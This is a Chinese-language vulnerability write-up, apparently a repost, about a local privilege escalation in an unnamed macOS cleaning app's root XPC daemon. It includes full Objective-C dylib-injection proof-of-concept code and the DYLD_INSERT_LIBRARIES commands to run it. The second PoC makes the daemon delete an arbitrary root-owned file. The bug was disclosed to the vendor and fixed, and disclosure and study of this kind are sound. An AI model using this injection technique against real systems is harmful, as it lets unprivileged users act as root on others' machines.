一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用

Posted 安全客

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用相关的知识,希望对你有一定的参考价值。


MacOS客户端软件中经常出现开发者使用XPC没有正确进行验证导致的本地提权漏洞。其实这个漏洞也是无意发现的,因为自己本来也在用这个软件,所以顺手就审计了一下。

首先这个软件是一个垃圾清理软件,注意到后台有一个root权限运行的daemon进程,那么我们直接IDA反编译,找到shouldAcceptNewConnection函数。

一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用

开发者还是有一定安全意识的,似乎这里看起来没有什么问题,用codesign检查了程序的签名,所有可执行文件flags=0x10000,无法进行dylib注入。官网上下载链接是www.xxxx.com/xxx_4.4.0.dmg,我直接把下载链接改成www.xxxx.com/xxx_1.1.0.dmg,下载到了一个非常老的版本,在这个版本中找到了一个flags=0x0的可执行文件,也就是说我们可以dylib注入到这个版本的可执行文件然后与daemon进程通信,这样就绕过了验证,可以调用daemon进程导出的函数。

class-dump一下:

一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用

我们先来试试能不能调用导出的buildXPCConnectChannel函数,因为这个函数没有参数,比较简单。在IDA中可以看到该函数会打印一个log:

一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用

代码大概是下面这样的:

 
   
   
 
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"xxx";
@protocol xxxDaemonXPCProtocol <NSObject>- (void)sendDataToDaemon:(NSData *)arg1 withReply:(void (^)(NSData *))arg2;- (void)buildXPCConnectChannel;@end
__attribute__((constructor))static void customConstructor(int argc, const char **argv){
NSString* _serviceName = kXPCHelperMachServiceName;
NSLog(@"test");
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096]; [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(xxxDaemonXPCProtocol)]]; [_agentConnection resume];
[_agentConnection.remoteObjectProxy buildXPCConnectChannel];
NSLog(@"Done!");
return;}

编译:

gcc -dynamiclib -framework Foundation poc.m -o poc.dylib

运行:

DYLD_INSERT_LIBRARIES=poc.dylib /Users/hjy/Downloads/xxx

看一下系统日志:

一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用

接下来我们想要证明这个漏洞是有实际危害的,通过前面class-dump的结果可以知道还有一个sendDataToDaemon的导出函数,在IDA中看到这个函数调用了cmdDispather函数:

一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用

在cmdDispather函数中基本上就可以用root权限做任何事情了:

一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用

为了省事,我决定编写一个能够删除任意文件的POC。我可以通过调试程序下断点的方法去弄清楚这里的参数是什么,因为一开始就说了这是一个垃圾清理软件,当我用垃圾清理或者程序删除之类的功能去删除root用户文件的时候前台进程是没有权限删除的,它肯定是调用sendDataToDaemon函数把消息发给daemon进程让daemon进程去删的,所以调试程序触发断点很方便。

最后,我大概搞清楚了这里参数是怎么组成的:首先有4个byte表示总长度,接下来有几个含义未知但是不会变的byte,然后又有4个byte表示剩余部分的长度,接下来是当前用户名和要删除的文件名(ASCII),最后又有几个含义未知但是不会变的byte。

成功编写出的删除任意文件的POC大概是下面这样的,这个POC能够使得普通用户houjingyi1996删除root用户文件/opt/cisco/anyconnect/ACManifestVPN.xml。

 
   
   
 
#import <mach-o/dyld.h>#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"xxx";
@protocol xxxDaemonXPCProtocol <NSObject>- (void)sendDataToDaemon:(NSData *)arg1 withReply:(void (^)(NSData *))arg2;- (void)buildXPCConnectChannel;@end
__attribute__((constructor))static void customConstructor(int argc, const char **argv){
NSString* _serviceName = kXPCHelperMachServiceName;
Byte byte[] = {0x4d, 0x00, 0x00, 0x00, 0x46, 0x1f, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x68, 0x6f, 0x75, 0x6a, 0x69, 0x6e, 0x67, 0x79, 0x69, 0x31, 0x39, 0x39, 0x36, 0x00, 0x2f, 0x6f, 0x70, 0x74, 0x2f, 0x63, 0x69, 0x73, 0x63, 0x6f, 0x2f, 0x61, 0x6e, 0x79, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x2f, 0x41, 0x43, 0x4d, 0x61, 0x6e, 0x69, 0x66, 0x65, 0x73, 0x74, 0x56, 0x50, 0x4e, 0x2e, 0x78, 0x6d, 0x6c, 0x00, 0x00, 0x00, 0x01};
//0x4d, 0x00, 0x00, 0x00 总长度 //0x46, 0x1f, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00 含义未知 //0x36, 0x00, 0x00, 0x00 应该是剩余部分的长度(不算最后的0x00, 0x00和0x01) //0x68, 0x6f, 0x75, 0x6a, 0x69, 0x6e, 0x67, 0x79, 0x69, 0x31, 0x39, 0x39, 0x36 用户名(ASCII) //剩下的部分是文件名, 这里是/opt/cisco/anyconnect/ACManifestVPN.xml(ASCII) //0x00, 0x00, 0x01 最后这三个字节,含义未知
NSData *arg1 = [[NSData alloc]initWithBytes:byte length:77];
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096]; [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(xxxDaemonXPCProtocol)]]; [_agentConnection resume];
[_agentConnection.remoteObjectProxy buildXPCConnectChannel];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) { (void)error; NSLog(@"Failure"); }]sendDataToDaemon:arg1 withReply:^(NSData * err) { NSLog(@"Success"); }]; NSLog(@"Done!");
return;}

我向厂商提交了POC和演示视频之后厂商很快确认并修复了漏洞。修复方法也很简单,再检查一下程序的版本号就可以了。

一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用

 



最后


1.编写的程序如果需要在高权限下运行或者导出了危险的接口,必须经过仔细的审计。
2.和windows系统上的dll注入一样,厂商往往会不太注意dylib注入这样的问题,然而在一些场景下dll/dylib注入可能会导致非常严重的后果。

一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用


- End -

精彩推荐


戳“阅读原文”查看更多内容

以上是关于一次对某厂商MacOS客户端软件本地提权漏洞的挖掘与利用的主要内容,如果未能解决你的问题,请参考以下文章

对某OA系统后台的一次sql注入漏洞挖掘

记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

如何寻找安全漏洞之——黑客们如何挖掘漏洞

记一次对Tomcat网页靶机提权实录

什么是电脑内核提权漏洞?

尝试进行RPC漏洞挖掘